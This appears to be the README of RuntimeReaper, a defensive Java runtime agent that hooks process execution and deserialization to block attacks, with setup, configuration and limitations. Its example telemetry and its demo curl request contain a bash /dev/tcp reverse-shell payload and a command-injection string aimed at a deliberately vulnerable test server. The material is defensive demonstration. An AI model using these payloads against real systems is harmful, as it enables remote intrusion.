In-memory RASP (Runtime Application Self-Protection) Java agent. It attaches to
a JVM via -javaagent, weaves defensive bytecode into JDK-internal choke points
with Byte Buddy, and neutralises common zero-day
exploitation techniques (RCE, unsafe deserialization) at runtime — before the
malicious operation reaches the operating system or loads a gadget class.
Educational / defensive security tooling. Run it against applications you own or are authorised to test.
A safe command passes through; a malicious one is blocked at the JDK — before it can run.
▶ Full-quality MP4
| Phase | Protection | Hook point | Action |
|---|---|---|---|
| 1 | Agent skeleton, bootstrap-classloader injection, JPMS bridging | — | — |
| 2 | RCE guard — reverse shells, piped downloaders, in-line interpreter payloads | java.lang.ProcessImpl#start |
SecurityException |
| 3 | Unsafe-deserialization guard — ysoserial gadget families | java.io.ObjectInputStream#resolveClass |
InvalidClassException |
| 4 | Structured telemetry — JSON Lines incident records with decoded payload + call stack | — | stderr / file |
Extras: block / monitor modes · rule set sealed after startup (self-protection) ·
base64 payload decoding · zero third-party runtime dependencies (Byte Buddy is
shaded & relocated).
A short, beginner-friendly guide that explains RuntimeReaper end to end — from the plain-English idea, through a from-zero tour of the code (JVM, Java agents, Byte Buddy), to deploying and testing it:
📕 RuntimeReaper — Anatomy of a Runtime Security Agent (PDF)
Requires JDK 17 and Maven.
export JAVA_HOME="$HOME/.jdks/jdk-17.0.19+10/Contents/Home" # adjust to your JDK 17
mvn clean package
# -> target/runtime-reaper-1.0.0.jarjava -javaagent:target/runtime-reaper-1.0.0.jar \
-jar your-application.jar| Property | Default | Meaning |
|---|---|---|
runtimereaper.mode |
block |
block = throw & abort; monitor = report only |
runtimereaper.banner |
false |
Print the ASCII banner at startup |
runtimereaper.telemetry.stderr |
true |
Human-readable, colored security alerts on the console |
runtimereaper.telemetry.json.stderr |
false |
Also emit raw JSON to the console |
runtimereaper.telemetry.file |
(none) | Append machine-readable JSON events (NDJSON) to this file |
runtimereaper.color |
auto |
auto | true | false; auto honours the NO_COLOR env var |
The one-time JVM notice
Sharing is only supported ... bootstrap classpath has been appendedis expected — it confirms our bootstrap injection worked. Add-Xshare:offto silence it if desired.
java -javaagent:target/runtime-reaper-1.0.0.jar \
-Druntimereaper.mode=monitor \
-Druntimereaper.telemetry.file=/var/log/runtimereaper.ndjson \
-jar your-application.jarjavac -d out examples/attacks/*.java
java -javaagent:target/runtime-reaper-1.0.0.jar -cp out RceTest
java -javaagent:target/runtime-reaper-1.0.0.jar -cp out DeserTestExpected: benign operations run normally; malicious ones are blocked and a JSON event like the following is printed:
{"schema":"runtimereaper.security-event/1","event_type":"RCE_ATTEMPT","action":"BLOCKED",
"timestamp":"2026-07-21T00:16:03.399Z","rule_id":"RCE-REVSHELL-DEVTCP",
"rule_description":"Bash /dev/tcp reverse shell","matched_fragment":"/dev/tcp/",
"payload":"/bin/bash -c bash -i >& /dev/tcp/127.0.0.1/4444 0>&1","decoded_payload":null,
"thread":"main","pid":5272,"stack":["java.lang.ProcessImpl.start(ProcessImpl.java:167)", ...]}A deliberately vulnerable target (examples/demo/VulnerableServer.java)
has a command-injection flaw. Attack it with a browser, curl, or BurpSuite —
RuntimeReaper blocks the exploit at the target and returns HTTP 403.
Browser response — the injected reverse shell is refused (HTTP 403):
Target console — each blocked request is logged as a colored alert with the matched rule, payload, and the exact application line it originated from:
Reproduce it:
javac -d out examples/demo/VulnerableServer.java
java -cp out VulnerableServer 8080 # agent auto-attached via JAVA_TOOL_OPTIONS
# benign -> runs
curl "http://localhost:8080/ping?host=127.0.0.1"
# exploit -> blocked (HTTP 403)
curl "http://localhost:8080/ping?host=127.0.0.1;%20bash%20-i%20%3E%26%20/dev/tcp/10.0.0.1/4444%200%3E%261"com.runtimereaper.agent premain/agentmain, AgentBuilder pipeline (app classloader)
com.runtimereaper.core BootstrapInjector, ModuleBridge, logger (app classloader)
com.runtimereaper.protect ProtectionModule installers + @Advice (app classloader)
com.runtimereaper.bootstrap guards, rules, telemetry (pure JDK) (BOOTSTRAP classloader)
Why two classloader layers? The classes we protect live in java.base and are
loaded by the bootstrap classloader. Byte Buddy inlines our @Advice directly
into their methods, and that inlined code can only resolve a dispatcher that is
also on the bootstrap classloader. So:
BootstrapInjectorcopies only thecom.runtimereaper.bootstrappackage into a temp jar and callsInstrumentation#appendToBootstrapClassLoaderSearch.ModuleBridgeadds a JPMS read edgejava.base → (reaper bootstrap module)viaInstrumentation#redefineModule, otherwise the first protected call would fail withIllegalAccessError.- Guards throw the exception the hooked method already declares, so the abort is clean and idiomatic.
Design choices: fail-closed on detected threats, fail-open on internal guard
errors (a bug must never break a legitimate exec/deserialization). Rules sit
behind a RuleProvider interface so a file/remote-backed provider can replace the
built-in one without touching any guard.
- Unit (
mvn test): rule matching (true/false positives) and telemetry JSON. - Integration (
examples/attacks/*): live block/allow behaviour under the agent.
RuntimeReaper covers the four phases above; it is not a complete RASP. Tracked limitations and next steps:
Coverage
- Only RCE and Java-native deserialization are hooked. No JNDI/LDAP injection (Log4Shell-class), SSRF, path traversal, SQLi, or expression-language guards yet.
- Deserialization protection hooks
ObjectInputStream#resolveClassonly — alternative sinks (XMLDecoder,readResolveproxies, Kryo, SnakeYAML, Jackson polymorphic typing) are not covered. - Windows
ProcessImpl#startshares the hooked signature and should work, but is currently verified only on macOS/Unix.
Detection quality
- RCE detection is signature/regex based → tunable but inherently bypassable (obfuscation, unusual encodings) and can false-positive on exotic-but-legitimate commands. A behavioural/argv-structural model would be stronger.
- Deserialization uses a blacklist. An allowlist (per-endpoint permitted classes) is the more robust posture and is the recommended next step.
Operations
- Rules are compiled in (behind
RuleProvider). External hot-reloadable config (with signed/authenticated rule files) is designed for but not implemented. - Telemetry is synchronous best-effort. High-volume deployments would want async buffering and a pluggable sink (syslog/SIEM/OTLP).
- Per-protection mode (e.g. block deserialization, monitor RCE) is not yet exposed; mode is global.
Hardening
- The rule set is sealed post-init, but
ReaperConfig.setModeremains open for ops flexibility; lock it down (or require a signed control channel) for production.
Contributions welcome — see the roadmap items above.
MIT — see LICENSE.


